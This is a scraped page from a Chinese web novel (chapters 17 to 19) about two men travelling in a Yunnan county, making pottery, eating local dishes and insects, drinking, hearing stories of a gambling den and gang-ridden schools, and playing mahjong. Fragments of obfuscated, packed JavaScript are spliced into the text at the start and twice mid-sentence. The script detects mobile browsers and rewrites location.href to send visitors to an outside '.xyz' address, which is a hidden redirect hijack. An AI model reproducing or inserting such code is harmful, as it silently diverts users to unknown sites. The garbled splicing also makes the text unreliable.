0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046884|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又话锋一转,“也沉得住性子,等会您就晓得了。” “等会试试他。”老师傅心里已经有主意了。 泥料是陶土原料按比例配成,制成膏状泥后还得密封于遮阳处放置陈腐不少于三个月,所以老师傅直接叫西堂搬来现成的泥料。 老师傅取来根线,轻易划拉下来一大块,给俩人一分,开始揉泥,同和面相似又不尽相同。 机器开启,往机器和泥土上洒水,到拉坯了,沈弋神色渐渐认真。 泥土在手里变软,像是自由旋转的鱼,他的手一个不稳,那就坏了型,西堂说出口的“耐得住性子”展现环节之一。 沈弋跟随想法,专注细心地拉出自己想要的形状……已经成型,沈弋刚要去关闭机器,一只手伸过来捣乱。 老师傅把沈弋的壶身按了个窝,这个窝按得很能体现技艺,沈弋门外汉都一眼便知,他不像平常大喊大叫,一个眼神一个动作没给老师傅,重新修复手里的壶。 要点评西堂和沈弋的话,光拉坯这一步就比较有灵动性了,老师傅只是口传心授几句,没有上手干预,两个人屏住呼吸从机器上取下初具模型的壶身。 湿坯装饰这步不装逼,选了简单的毛笔字,毕竟一步错就前功尽弃。 巧了,西堂和沈弋都会毛笔字,两个人眼神一搭一勾就知道对方肚子里的坏水,沈弋把四个字写得锋芒毕露,想要把西堂比下去。 西堂笔锋一放一收写得稳扎稳打,和沈弋的锋芒毕露形成鲜明对比,一时间老师傅也说不出哪个更好,和稀泥,“都好,都好。” 阴刻阳填,两个人拿着支细长的刻刀,有些不习惯,沈弋刚开始刻得战战兢兢,刻几分钟要瞅西堂的两眼,像小学生做作业较真,我要看你刻到哪了,刻得怎么样,比我好还是比我差。 西堂不动如山任由他看,老师傅看不下去,“你再给我扭一次头!” 修坯、制作好壶嘴壶把,到这就结束了,剩下的交给专业人士,光晾干需要数天,烧制的技法不是经过千锤百炼是烧不出一个好陶器的。 他们待不久了…… 老师傅许诺,等成品出来会寄给他们,让他们留下地址,沈弋想了想留下陈昀的地址,出来这么一趟,送陈昀把茶壶也不枉这么多年兄弟情义,最主要的是等陈昀收到壶一感动还能借机坐地起价讹一笔。 西堂留的是他妈妈的地址,他爸没什么好交流的,他常年不在国内,让老师傅寄去国外不是存心欺负人嘛。 沈弋拍照留念,三个人合了张照,屋内拉着窗帘没感觉时间过得是快是慢,推门一看,天都黑透了,竟是谁也没感觉到饿。 沈弋要请老师傅吃一顿,老师傅手一背拒绝,他还想再二请,西堂打断他,拉着他和老师傅告别走了。 “你就知道吃,你看看几点了人家光和你吃饭不休息了?”西堂神色散漫,语气略微教训他。 “哦。”沈弋懂了,可那张嘴非要怼,“说话就好好说,借机给我上教育课干嘛?” 他肚子响了一声,让西堂一瞬间破功低头笑出声。 17. 第 17 章 “西堂,诶,你被拍了!”沈弋吃早餐的时候刷到当地博主发的视频。 [XX惊现奔驰大G] 评论区里一堆网友来看热闹凑乐子。 网友1:别看我们县城小,我们县城也是有实力的。 是,是挺有实力的,沈弋认同,昨晚他和西堂找了个古朴风格的饭店吃饭,内部装饰得很有情调,假山活水,席面摆在亭子和长廊,包厢什么样不得而知,他们坐亭子里吃的,吃完走人的时候门口不知道什么时候停着雷克萨斯和法拉利。 当时他还惊叹呢,“这地儿有实力啊,这车都能看到。” 西堂开玩笑,“那我不还开个奔驰来吗?” 沈弋给他鼓掌。 网友2:只有我注意到大G后面的路虎卫士和角斗士吗? 网友3回复网友2:我也注意到了! 网友4:我天,我没眼花吗?!最平平无奇的坦克里坐了个帅哥?! 网友5回复网友4:对对对!终于有人说了! 嗯……从刷到这条视频,手机就被沈弋摆到了他和西堂中间,他能看到的评论西堂当然也看到了。 沈弋不好意思地瞅着西堂干笑两声。 其实不难发现,在不知不觉里沈弋带着他自己都没有察觉的一丝局促和羞赧,像是孩童碰到了一个陌生的漂亮姐姐想要亲近对方又不好意思时的样子。 西堂语气闲散没什么特别的变化,说出来的话却意有所指,“帅吗?” 沈弋呆愣一秒,迟疑道:“不帅吗?” 西堂轻笑一声,眉梢一挑,“你不知道吗?” 沈弋终于回神一般耳根子倏地红了,他气急败坏,“你又逗我!好玩吗?!” “好玩啊。”西堂不收敛继续逗他。 他干嘛要开窗,其他人都是关着窗根本看不到里面坐着谁,就他下高速打开了车窗,早知道不开了! 天气较热,吹来的风都带着热气,才拿到手的圣代没吃几口就快化完了,中午的公园里都没有人坐着玩,不知道在哪里躲热。 沈弋下车把圣代杯子往垃圾桶一扔,杯子的水汽糊了一手。 西堂站在他左后方,正巧看见沈弋皱眉瞅一眼手又无奈地垂下,让左手不碰到衣服,这段灵动的心理活动加面部神态演绎结束,他的视线轻飘飘落回沈弋脸上。 人齐齐下车进店,一进去沈弋眼珠子四处张望,瞅见纸就直跨过去抽了两张擦手,他没有洁癖,但是手上糊满水,有点难受。 昨天中午吃热米线,今天中午吃凉拌的,麻酱、姜汤、生抽、蒜汤……调料整整齐齐排了三短排放在案桌上,每个调料盆里放了把勺,店家熟练地往碗里添加份量,还没看清上一个勺落下去没有、下一个勺已经舀调料到碗里了。 古有庖丁解牛,今有厨娘调料啊,沈弋掏出手机录了一段。 人挤人顾客围满了点餐台,这厨娘眼神奇了,瞥他一眼,笑说:“拍我吗?手艺是不错吧?” 沈弋一直以为她不可能看见,听见她说话顿了顿才反应过来是在和他说,急忙扬声回应她:“是,古往今来、上天入地、独家秘诀般厉害!” 厨娘哈哈大笑,“哎哟,舌头不会打结吗?” “我舌头还行。” 这都什么跟什么啊!沈弋把自己干无语了,他在说什么。 鸡丝凉米线,油辣椒一裹,料汁浸在每一根米线上,一大口,“嗯!嗯!嗯!”,沈弋发出一阵鼻音。 其他几人也前后跟着和他一样“嗯嗯嗯”,除了西堂,西堂面无表情,“哑巴吃米线,有话说不出吗?” 沈弋终于咽下去那一大口,“这是一种无言的赞叹,形容很好吃。” “古往今来、上天入地、独家秘诀般好吃吗?”西堂脸上挂上点半开玩笑的恶趣味。 “嗯嗯嗯嗯嗯嗯”,沈弋又塞了一大口,用鼻音抗议,没人听得清他哼什么。 桌子中间凹进去放炭火,架上一个烤网,烤网上四边是未烤的豆腐,中间是正在烤的豆腐,正上方坐了个服务员烤豆腐,一双筷子行云流水似的翻着豆腐,包浆豆腐、干豆腐、新鲜豆腐、霉豆腐…… 服务员面前还摆了一个小碟子,里面放着干玉米粒和干黄豆。 “这是做什么用的?”沈弋指指她面前的小碟问。 “点数的,你吃一块我点一颗,这是五角的”她指着干玉米粒说,再指干黄豆说,“这是七角的。” 这一桌只坐了他们八个人,摆一个碟子,其他一桌摆四五个碟子,难为服务员记得住哪个碟子是哪个顾客的。 除此之外,还有壶让他们见所未见的茶,野山茶,因为从山上采摘的,名不经传,没多少人喝,就本地人在喝,所以随意捡个名。 汤色透亮,清凉回甘,有清热解毒、消脂清肝等功效,所以在烧烤店、小吃店必有野山茶的身影。 服务员讲,要是换成其他的饮品顾客们可不满意嘞,就稀罕这壶野山茶。 沈弋喝了喜欢,问服务员哪里有卖的,服务员留下句“你等着”,走了。 这要放哪个金碧辉煌的饭店里,沈弋都要掂量两下自己是不是惹事了,不过这里是一家普通的小吃店,沈弋安安稳稳坐着继续吃。 过了几分钟服务员就回来了,递给沈弋个袋子,里面满满一袋野山茶叶。 “拿走吧,送你了。”服务员呵呵笑说。 沈弋迷茫,“啊?!真的假的?你们这么热情待客不会倒闭吗?” “你怎么不说谢谢还咒我们店呢?” 沈弋焦急辩解,还是觉得不可思议,“不不不,你这真送啊,这么一大袋,够我喝一两年了吧。” 服务员一直在笑,“真逗,好东西我们会送人吗?我们店又不是傻,你猜它为什么叫野山茶,山上一抓一大把,你这一袋子最多十块钱,我们店还是送得起的。” 其他几人笑得根本不能吃东西,一吃保准喷出来。 丰继笑得话快说不清楚,“从我认识沈弋,这是第一次有人能治他的那张嘴吧?” “我这只是无功不受禄太过于受宠若惊好吗!”沈弋怒,扭头同服务员道谢,“谢谢贵店,贵店必然生意兴隆通四海,财源广进达三江,四季发财,日日见金,八方来财……” 服务员打断他,“够了够了,再说下去就不是十块钱的价格了。” 沈弋总算是收下这份心意,能够心安理得继续大口吃了。 西堂等到机会插进来讲话,和服务员说:“你刚走的几分钟里,我们夹了四块包浆五块新鲜的。” “行,上道啊。”服务员话里赞叹,“本地人是这样的,有时候我们忙不过来,他们自己烤自己记数,跟自助餐似的。” “有意思诶!”沈弋说。 “这小县城景点可能不太行,吃喝和民风真挺好的。”服务员自豪。 最后结账出门时沈弋又同店家道谢,店家让他们下次再来。 回去以后他们进去开了个会,沈弋没有凑进去,自己待屋里安安静静看了部电影。 他因为工作性质一年总会出去最少两次,玩归玩,却会在某些瞬间鬼使神差地想看部电影,陈昀之前点评一番,说他这跟谈恋爱了想对象一样,他说什么来着。 哦,他说,行啊,那我和电影过一辈子,和我的毕生挚爱,爽了。 他喜欢电影,也许是在电影里和现实中看别人演绎了看似不同实则都一样的爱情故事,他对“爱情”这个题目的答案越来越单调和空白。 陌生/略认识/玩伴,这是开始的关系,相熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046885|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、试探、暧昧,这是关系更近一步,分开/在一起,这是第三步,分开/继续在一起,这是再往后的结果,有什么意思呢。 就算是《廊桥遗梦》里的男女主用四天爱上一个人,可仍然只有分开/在一起两个结局。 人是群居生物,需要陪伴,可是当人所能带来的这份陪伴被另一种东西取代了呢? 有的人把自己选择陪伴对象的权利交给舞蹈事业,有的人交给边疆教育,有的人交给保家卫国,而他,只是平凡的交给他喜欢的电影。 他想用电影去演绎出不同的人的不同的人生,讲述他的所听所看所感,无论别人看一部电影是为了劳累之余放松还是两个人约会还是取经去努力生活还是借鉴电影本身的叙事,都没有关系,起码这两个小时的故事是他传递出来的。 梁女士问他,万家灯火的时候你会孤独吗? 会,是个生物就会有孤独,可是要看孤独的时间。 他爸妈忙于建筑事业,尽管家里有人照顾他,但始终只是浅层的雇佣关系,司机和阿姨会关心他冷不冷,但不会坐下来陪他吃一顿饭。 今年二十五岁,他已经度过了十三年的变相的独居生活,至今来看,他生命里存在过的长期的关系只有和父母的亲人关系以及和陈昀的发小关系。 他有自己的生活、工作,喜欢旅游,乐于和陌生人交际,这么一算也没有剩下多少时间,而且他拥有很多志同道合的朋友,就算往后朋友全都组建家庭,他半个月和一个朋友见面,轮一圈下来也有一年,更何况他不可能半个月见一个朋友。 那么说来,他会孤独,可是孤独的时间少之又少,一个人度过不成问题,所以他是单身主义。 电影放映到一半,西堂走进来了,沈弋惯性地偏头看向他。 西堂把手里的电脑往茶几上放好,过来和他并坐,沈弋神情有些飘忽,怔愣了两秒,才挤出笑意向西堂介绍电影名。 “怎么了?”西堂仔细打量他,确定他不对劲,问他。 沈弋双腿从盘着坐换成支立着坐,双手搭在膝盖上,“打哪看出来的我不对劲。” 这话让西堂怎么接,西堂不禁笑了笑,他不想说就不问了,“继续看吧。” 在电影的片尾曲中,沈弋问出声:“你怎么打算你的这一生?” 西堂没有多余关心他出这个问题的原因,只是想了想,回答道:“和电影。” “什么?和电影?”沈弋听见他的回答一瞬间眸光一亮。 “嗯。”西堂肯定地说,“和电影。” “你……”沈弋缓和了一下,“你的本职工作和电影有关吗?” “……”西堂眼睛微动,睨了眼狡黠的沈弋,“嗯。” “万家灯火的时候你会孤独吗?”沈弋把梁女士的问题抛给他。 西堂也问他:“那你觉得怎么样才能不孤独?” 沈弋交叉的双手下意识地摩擦,身体有一点点僵硬,又很快随着呼吸变得放松。 他惊喜兴奋、眉飞色舞,一切形容高兴的词都合适用于这一刻他的心情,“对,没有人会不孤独,无论电影还是现实,每个人都在尝试通过各种各样的办法让自己不再孤独,但都失败了,只有自己的坚定内核才是唯一战胜孤独的。” “不,还有一个办法。” “什么?” “死亡。” 西堂目光里好像闪烁过一丝向往,沈弋否决了,应该是他看错了。 “死了就什么都没有了,况且如果死前是孤独的,这不能算第二解吧?”沈弋道。 “是啊,什么都没有了,还会在乎孤独吗?” 沈弋沉默半晌,没了下文。 西堂起身,伸手理了理沈弋凌乱的头发,“走吧,看看下午饭吃什么。” 18. 第 18 章 早餐和午饭是就近原则在一楼随便挑了家店糊弄解决的。 云南本来还有两个顾客,但因为各方面原因所致,最后双方未能达成共识,西堂也正式对外宣告此次旅扎行程结束。 没有微博,他们七个人发朋友圈,不需要微博,人传人就足够了,认识西堂的会互相传一传。 沈弋有些怅然,陈昀今早打了个电话过来告知他,有新的工作找上门了,他接不接给个准话。 他看了看对方团队,基本是口碑和业务在业内不错的新晋,还有一个月开工,他想了想接下了这个活。 他满打满算出来三十三天了,工作上的问题解决了,是该算算回去的时间了,而且,西堂他们好像也要走了,他看到他们发的朋友圈了:此次旅扎圆满结束,不再接客。 他干贱干贱地给西堂发了个[站街.jpg],一下楼就被西堂收拾了,“过来,泡个茶。” 泡茶啊,泡茶他会啊。 二楼的茶室是三楼民宿老板开的,今天工作日,茶室里一个顾客没有,就他们几个人。 “你这生意做的滴水不漏啊!”沈弋对民宿老板说。 民宿老板笑呵呵,“过奖了。”,说着把主位让出来给沈弋。 沈弋开始前撸了撸并不存在的袖子,一本正经,开始后就骚起来了,搁那炫技,修长白净的手指熟练地操控着茶壶,茶叶在热水中翻滚舒展散发出阵阵清香。 装逼很成功,众人看得一愣一愣,偏生沈弋还摆出一副小菜一碟的模样,更装了。 “恭喜你,装逼成功。”评委席丰继点评。 “不错不错,有一套。”评委席民宿老板点评。 沈弋朝西堂使了个臭屁的表情,西堂不禁勾起嘴角。 一杯杯倒给他们,“谢谢”“谢谢”…… “谢谢”声落,沈弋说:“这是你们应该谢的。” 众人乐。 喝茶怎么能少得了说故事的人呢? 民宿老板坐正身子,提起一口气,口若悬河,娓娓道来。 县城通往乡镇的公路两边皆是田地,穿过田地是树林,再往里就是山上了。 田地和树林的界点边上有个很隐秘的赌场,大老板赌个几百万上千万,小老板赌个几十万,没钱的根本进不去,站门口看看的资格都没有。 “那你算大老板还是小老板?” “我没赌!”民宿老板反应很快。 沈弋桀桀笑出声。 从公路边开始,每隔二十米就有两个衣着像农民的人在那里盯哨,通风报信。 钱是几箱子拎进去的,放眼望去只有人和桌上红通一片,一摞一摞堆在面前。 笑着出来还是哭着出来,更有甚者缺胳膊少腿的出来,赢得盆满钵满还是输得倾家荡产全看人家要不要搞你,出老千是再正常不过,技术不行就得认栽,没钱耍赖更是找死。 时不时还会上演几个人拿着刀追杀一个人,满田地跑。 后来政策下来,全面打击,大大小小的老板被突然袭击,跑都来不及跑,数以万计的钱散落地上,赌场外的田地里飘得到处是,说是有不少人在警方收队走了以后还捡到几百块到几千块不等。 “我是真没看出来这地儿这么有实力,太有实力了,我以为一两百万算是大头了,没想到能有上千万的老板。”属丰继听得最专心致志。 能赌上千万,说明背后就得有起码几千万的资产支撑。 “我听人家讲的时候也震惊,谁知道真的假的,不过这里大老板倒是真有。”民宿老板说,“你们开的车也很有实力,我看还上本地热点了,那奔驰往楼下一停,这几天来来往往路过多少人拍照。” 西堂笑笑不说话,一点没谦虚。 民宿老板换了个故事讲,也是相当血雨腥风。 不管在哪里,就算是学校,同样分三六九等,是乡镇上的初中学校,升学率一塌糊涂,更像是一所为九年义务教育服务的学校,而不是真正教书育人的学校。 但不能说是学校和老师不好,只能说是综合因素所致。家长多数在外打工,留守儿童,家里老人管教不听,慢慢地想管已经管不了了。 “混社会”这个词在八九十年代就有,一直到今天仍然存在,在某些乡镇地区更是成了一个习以为常的现象。 这所中学里的学生冥顽不化,打架斗殴像吃饭睡觉一样每天发生,每个寝室里都有刀、木棍、钢管,谁没有个防身的,那谁就是那个被欺负的。 “老师怎么不管?” “因为他们连老师也打,没人敢管。” 古有“一日为师,终身为父”,哪道环节出了问题,谁的责任? 都有责任,从上到下谁能说自己没责任,可是这像个死结,冰厚三尺非一日之寒,不是谁献身就能解决得了的。 进学校不是先做好学生,而是先认个大哥跟着大哥混,没人敢独善其身,也没有办法独善其身,哪个学生想不参与进来,那好,就打哪个学生,打赢了就得不断接受别的“做大哥”的学生的约战,打输了就继续被欺负,直到打怕了那这个学生自然而然会认个大哥。 “他们约架的理由呢?” “不需要,需要什么理由,他们已经无法无天了,还需要什么理由吗?所以,没人不会被打,想不被打就得有大哥罩着。只要不弄出人命,学校不会管,老师不会管。” 学校最多能负责颁发毕业证和人身安全,有时候救护不及时,那就连人身安全也保证不了,死了就死了,谁能有什么办法。 “大家都默认这个群体的存在吗?” “是的。” 不止学校,家长,不,可以说是整个乡镇,在数年里默认这个未成年不学无术、劣迹斑斑的群体的存在。 成绩好的孩子考入县里上学,成绩差的孩子就是进入这所乡镇中学混个初中毕业证,如果“混社会”的日子里勉强能听得进去一点知识,结果不是恭喜你考入高中,而是学生去到县里另一所和初中没什么两样的高中继续“混社会”。 “你读书的时候也这样吗?” 民宿老板年龄不大,三十多岁的感觉。 民宿老板说:“我读书的时候家里穷,认大哥有饭吃。” 沈弋倒了杯茶给他,抱歉地冲他笑笑。 “现在呢,这所学校现在怎么样了?” “现在好了点,分好中差三个层次的班级,差班和以前没什么变化,好班的学生排头的两三个能上州里读高中了。” 这一点变化是上上下下很多人努力后的结果了,慢慢来吧,给时间一点时间,在努力变好了。 “别这么沉闷,当个故事听听就过了。”民宿老板调节气氛。 如果不来这一趟,沈弋很难想象有这样的学校存在,他没法当个故事听听就过了。 西堂他们倒是没沈弋这么难以接受,其他人不说,西堂走南闯北满世界跑,他见过更不堪、更烂、更难以言语的事。 民宿老板讲得绘声绘色,节奏比较慢,茶过了四道水,时间却过了一下午,三个烟灰缸里摁满了烟头。 下午六点多了,叫上民宿老板,众人去吃晚饭。吃什么由民宿老板决定,听本地人的。 民宿老板大手一挥,烧烤。 “这儿的烧烤那是一绝,来到这里就吃三样东西,烧烤、米线、烤豆腐。” 民宿老板带路,没开车,车开不进去,巷子里只能人走,离民宿不远。 烟雾缭绕,烤烧烤的炭时不时因为有油滴落而突然窜起一阵火苗,坐满的人,烟火气,齐全。 “吃烧烤不能去那种高端大气的烧烤店,就得往巷子里钻,折叠桌子塑料凳子是标配。” “是,就得往巷子里钻。”沈弋赞同道,烧烤的香味勾得他饥肠辘辘。 店里坐满了,烧烤店老板忙中抽空搬出两张折叠桌往店门口一摆,按人头给了九个摞在一起的塑料凳,就匆匆回到烧烤架那烤烧烤了。 丰继和民宿老板把塑料凳一一取出来,两张折叠桌拉了凑成一张长桌,落座后一个服务员也忙中抽空递过来张菜单。 接菜单的是西堂,他看都没看传给沈弋,沈弋也看都没看传给民宿老板,听本地人的。 民宿老板一连不断地勾了好几样,最后邪恶一笑写了几个字停笔,喊一嗓子叫来服务员,把菜单递还,其他人谁也没看到他最后写了什么,其实只是让先上某几样。 直到上菜,一盘五花八门的……虫。 沈弋当场一蹦三尺高,塑料凳子都被他大幅度的动作撞倒,他要不是心里素质好,得当场又蹦又跳又尖叫,能强忍没尖叫已是极限。 其他人不仅被这盘虫吓一跳,还要被沈弋吓一跳,心脏起了又起才得以落下。 民宿老板疯狂大笑,其他人长呼一口气,沈弋欲哭无泪。 “这这这,这能吃吗?”沈弋指着那盘虫战战兢兢地问。 “能吃啊。”民宿老板看着严阵以待的八个人,淡定自若地拿起一串吃了起来。 他们目不转睛地看着他就这么水灵灵地吃下去了,倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046886|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸一口气。 “这都是些什么?” 他们连是什么虫都认不全。 民宿老板一一介绍起来,“蝉、蝉蛹、蜂蛹、竹虫、蚂蚱、蜈蚣、蝎子……” 他们的脸色一言难尽。 沈弋更是感觉要吐了,“你怎么能眉飞色舞地说出这么冰冷恶毒的东西来?” “真能吃,吃一串试试看?”民宿老板像是看不见他们的表情,说着吃了一串,吃完又说,“别不敢吃,好吃的,是不是没酒的缘故?” 话音刚落又起,“高粱酒,老样子!” “这是有没有酒的缘故吗?”沈弋痛苦地说。 民宿老板开始第三串,“就是酒的缘故,这儿的酒也好喝,自烤酒,就是度数有点高,五十多度,不过你们几个大老爷们能喝得了。” “五十多度?!”沈弋快要崩溃了。 酒上来了,不是一瓶,是一桶,一个白色的桶。 “你的‘老样子’就是喝酒用桶装啊?!”沈弋大惊失色,“这,这半桶是要今晚全喝了吗?” “对啊,小意思。”民宿老板开始第五串。 “这还小意思?!”沈弋都数不清这是今晚第几次震惊了,突然扭头攻击其他人,“你们怎么都不说话,你们不震惊吗?” “你把我们想说的话都说了,我们还能说什么?”丰继又震惊又因为沈弋的话想笑,最终没忍住笑出来。 其他的烤串终于姗姗来迟,沈弋努力不看那盘虫子吃了串烤鸡胗。 民宿老板一一倒酒。 五十多度,一口进去从嗓子眼辣到肚子,沈弋和两个文身师不太习惯,一口就喝得皱了皱眉头,西堂、丰继、李木和另外两个文身师面不改色。 不愧是酒鬼团队,喝酒就是顶顶的,沈弋心里嘀咕。 西堂和丰继两口酒下肚,对那盘虫蠢蠢欲试,先拿了串蝉蛹试试水,除民宿老板外,几个人盯着他俩吃的神情,看他俩没有表现出不适的样子,李木和四个文身师也纷纷拿了串蝉蛹,就沈弋干瞪眼看着他们吃。 叛徒!沈弋在心里大骂。 桌子上的局面彻底改写,民宿老板吃什么,西堂和丰继跟着吃什么,西堂和丰继吃什么,其他五个人跟着吃什么,徒留沈弋在风中凌乱。 沈弋默默吃其他的串,无论其他人怎么说,死活不尝试那盘虫,连西堂拿了串蝉蛹递给他,他也不接,西堂只好自己吃了。 我就不吃,我就不吃!沈弋心说。 民宿老板点得不多,蜈蚣和蝎子他们没敢尝试,只吃了其他的小虫子,民宿老板倒是自顾自地解决完了剩下的几串虫。 沈弋一直忍受着那盘虫,他真的没有那个毅力和胆量去尝试,能忍受那些乱七八糟的虫子在他的视线里过去过来已经用尽全力,那盘虫被消灭干净的时候他悬着的心终于落下了。 接下来的气氛就比较轻松了,沈弋放心地开始炫烤串,相比虫子,五十多度的酒好像就没那么难以接受,他喝着喝着品出点味来,觉得还挺好喝。 民宿老板放得开,和他们搭得上话,一直你一言我一语地聊着没让气氛冷场过,那半桶就光他和西堂就喝了一半。 酒杯,不对,不叫酒杯,应该叫酒碗,它就是个小碗,沈弋算是见识这儿的酒文化了,酒用桶装,喝用碗喝,那大饭店的茅台小酒杯搁这一比跟闹着玩似的。 其他人抿一口,他俩灌一口,其他人灌一口,他俩能把酒碗喝浅一小截,等其他人喝了半碗,他俩早续上第二碗了。 沈弋感觉到脸发烫就没喝了,只吃串,走路出来的,他可不想醉成摊烂泥被扛回去。 最后就剩西堂清醒地结账,走路能走直线,全部人回到民宿各回各屋,尽管时间尚且算早,但耐不住那五十多度的高粱酒。 “牛逼,喝酒你是这个。”沈弋说着冲西堂比了个大拇指。 西堂看着他有些歪歪斜斜地走进屋,“是不像你,小菜鸡。” “嘁。”沈弋不满,脚步不稳,走得靠近了西堂,“酒鬼,你肾虚。” 西堂也靠近他,低声说:“我肾虚不虚你今天早上不是感觉到了吗?” 今天早上?什么今天早上?今天早上什么都没干啊,今天早上发生什么了? 沈弋开始蹙眉让混沌的脑子回想今天早上发生了什么? 一直到临睡前才想出来,哦,今天早上他起床尿急,西堂抢先一步进去,等他放水等得膀胱都要憋炸了。 好吧,西堂肾挺好的,沈弋睡前迷迷糊糊地承认事实。 19. 第 19 章 天光乍亮,沈弋转醒,神清气爽,他打着哈欠伸了个懒腰,有些恍惚是不是没喝酒,头一点没觉得疼,宿醉的迹象也没有。 陆陆续续都起来了,聚拢互相打量,哟,都挺有精神气。 “自烤酒就是带劲儿啊。”丰继感叹一声。 “假酒喝多了,碰上真酒了。”李木也笑说。 沈弋不明缘由地看着他俩。 西堂给他解释道:“自烤酒是正儿八经的纯粮酿造,自己泡粮、煮粮,两次发酵,再蒸粮、出酒槽,度数越高越醇,喝起来不伤身,就像在西藏喝的青稞酒一样。” “那我怎么在西藏喝了头疼,在这喝完神清气爽?”沈弋又问。 “生物多样性吧。”西堂悠悠道。 什么多样性?沈弋无语扶额。 午饭下馆子,吃的是特色炒菜,凉拌草芽让沈弋三分钟菜就饭炫了一碗。 一个文身师打趣:“年轻胃口就是好啊。” “这个好吃,你们快吃,要不再上一份?”沈弋点那道凉拌草芽。 西堂拆他台,“你忘记了才来那天吃的草芽米线吗?你还说难吃。” 沈弋拧眉,“你别诬陷我,如此美味我怎会说它难吃!” “看来需要随时挂个录像仪在我衣领上了。”西堂为自己辩护。 “那就算我说了,”沈弋有些底气不足,“我现在为它正名好吧。” “好的。”西堂点头,“这桌再上一份凉拌草芽。” “好嘞!”服务员隔空回应。 薄荷炸排骨上来,没谁夹排骨,薄荷抢了个精光,闻着就一阵清香,忍不住先尝一尝。 还有一些稀奇古怪的菜名,老奶洋芋、清炒灰灰菜、苦刺花炒腊肉,看着有意思的菜几个人都蠢蠢欲试,像是打开了新世界的大门,但食量有限,左右犹豫,尝了部分。 邻桌的人很热情外放,说:“你们真是没赶上好时候,早些来能吃金雀花、茉莉花、攀枝花、棠梨花,晚些来可以吃凉拌仙人掌、炒菌子、喝鸡枞汤,你们来的不前不后,要不要试试折耳根啊?” 几个人直叹气,感觉错过了几个亿,不过心动听从邻桌的建议,“来份折耳根。” 服务员问:“要清炒的还是凉拌的?” 沈弋鉴于凉拌草芽这么好吃,断言:“凉拌的。” 凉拌折耳根上来,跟凉拌草芽上来就不是一个气味,沈弋嗅了嗅反复确认。 其他人不动筷,一个劲儿盯着沈弋,意思很明确,你不吃我们不敢吃。 沈弋无语凝噎,抄起公筷一夹,又夹了喂进嘴里,眉头直皱,如临大敌。 其他人神情沉重,看他这样果断不去夹了,吃其他的菜。 沈弋不信邪,他不敢吃烤虫子,难道还拿不下这小小一盘凉拌折耳根吗!他继续吃了几筷子,渐渐吃到窍门,眉头舒展。 其他人见状开始尝试。 “我算是看出来了,你们就是一群见风使舵的人,昨天还背叛我吃烤虫子!”沈弋愤愤不平,他昨天就想说了,碍于民宿老板不好开口。 其他人笑成一片,笑着笑着心里生出一丝羡慕。 岁数大了总是会忍不住感慨,他们少时也觉得老是感慨年龄的大人在叽叽歪歪,长大有什么不好的,长大了能拥有更多不一样的东西。 长大是拥有了更多不一样的东西,但也失去了很多从前拥有过的东西,就像人不能同时拥有青春和对青春的感受。 沈弋羡慕他们旅扎能认识很多人,听到很多故事,到处旅游,工作自由,活得很潇洒很酷,但他们羡慕沈弋能说出“你们昨天还背叛我吃烤虫子”,他们身边没有人会说这样的话,他们也说不出这样的话。 西堂细细瞧了瞧眉目透露愤怒的沈弋,想起这些天来。寻求帮助的那天一脸急切,声音听着快带有绝望,好像不搭救他下一秒能哭出来,坐在陌生人的车上能吃东西睡着,为了不必要的人际沟通谎称自己不会抽烟,烟酒对于男人来说是很容易增进感情的两样东西,不熟没关系,来根烟来顿酒就熟了,所以沈弋多喝两顿酒就敢和他们要烟抽了。 再有他怼人不留情的一张嘴里也能喝醉酒蹦出两句诗,拍摄视频、拍照片技术很不错,和谁都能打成一片,谁和他接触了都夸一声好,丰继几次私下里称赞他难能可贵,连扎染的阿婆和紫陶的老师傅也对他连连点头。 确实是个不可多得的好苗子,沈弋不是因为年轻他们几岁所以说得出“你们还背叛我吃烤虫子”,而是沈弋本身就幽谷长风,他到了他们这个岁数,也能愤怒的说出这样的话。 欣赏之余,西堂隐隐为他感到忧伤。 下午活动又是打麻将,专门驱车找了个麻将馆。 “我没记错的话,你们山东是考公大省不是打麻将大省吧?”沈弋嘴下不留情。 西堂恐吓他:“怎么,你是想试试山东麻将打法吗?要打青岛的136张牌还是济南的258当将牌?” 沈弋没听说过这两种打法,“还是川麻吧。” 川麻他都打不赢西堂,更别说一些新的玩法了,他可不想输光家当。 麻将馆里面一堆老头老太太,他们一群人进去的时候每桌都打得热火朝天。 开了两桌,丰继和李木不约而同拒绝和西堂一桌,丢下句“谁想再输钱给他”就跑了,两个文身师被迫四缺二作陪。 西堂微笑:“我收着点劲儿打。” 沈弋和两个文身师才不信,打起来后果然是假的,该输还得输,看他们输狠了,西堂才开始放水让他们赢了几次。 可是他们赢的牌和西堂赢的牌根本不能比,清幺九、□□、大四喜、十三幺随便一胡就是番数很大。 沈弋打得不苟言笑,西堂一看他那个神色就想笑,还没等笑呢,就听沈弋滋哇乱叫起来:“咱们对角线换个坐吧。” 三个人笑喷了,西堂笑问他:“换个坐你就能赢了吗?” “说不定呢!” 换了座照样输,两个文身师可能输习惯了,不仅不麻木还时不时笑,西堂更过分,赢了 